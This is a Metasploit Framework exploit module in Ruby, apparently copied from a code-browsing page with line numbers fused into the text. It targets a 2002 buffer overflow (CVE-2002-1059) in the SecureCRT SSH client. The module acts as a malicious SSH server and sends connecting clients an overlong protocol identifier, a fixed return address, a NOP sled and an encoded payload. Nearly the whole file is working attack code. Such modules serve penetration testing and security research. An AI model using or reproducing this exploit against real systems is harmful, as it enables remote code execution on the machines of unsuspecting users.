Path: blob/master/modules/exploits/windows/ssh/securecrt_ssh1.rb
19611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SecureCRT SSH1 Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in SecureCRT <= 4.017Beta 2. By sending a vulnerable client an overly long18SSH1 protocol identifier string, it is possible to execute19arbitrary code.2021This module has only been tested on SecureCRT 3.4.4.22},23'Author' => 'MC',24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2002-1059' ],27[ 'OSVDB', '4991' ],28[ 'BID', '5287' ],29],30'DefaultOptions' => {31'EXITFUNC' => 'process',32},33'Payload' => {34'Space' => 400,35'BadChars' => "\x00",36'MaxNops' => 0,37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' => [41[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],42],43'Privileged' => false,44'DisclosureDate' => '2002-07-23',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])57]58)59end6061def on_client_connect(client)62return if ((p = regenerate_payload(client)) == nil)6364buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)65buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded6667print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")6869client.put(buffer)70handler7172service.close_client(client)73end74end757677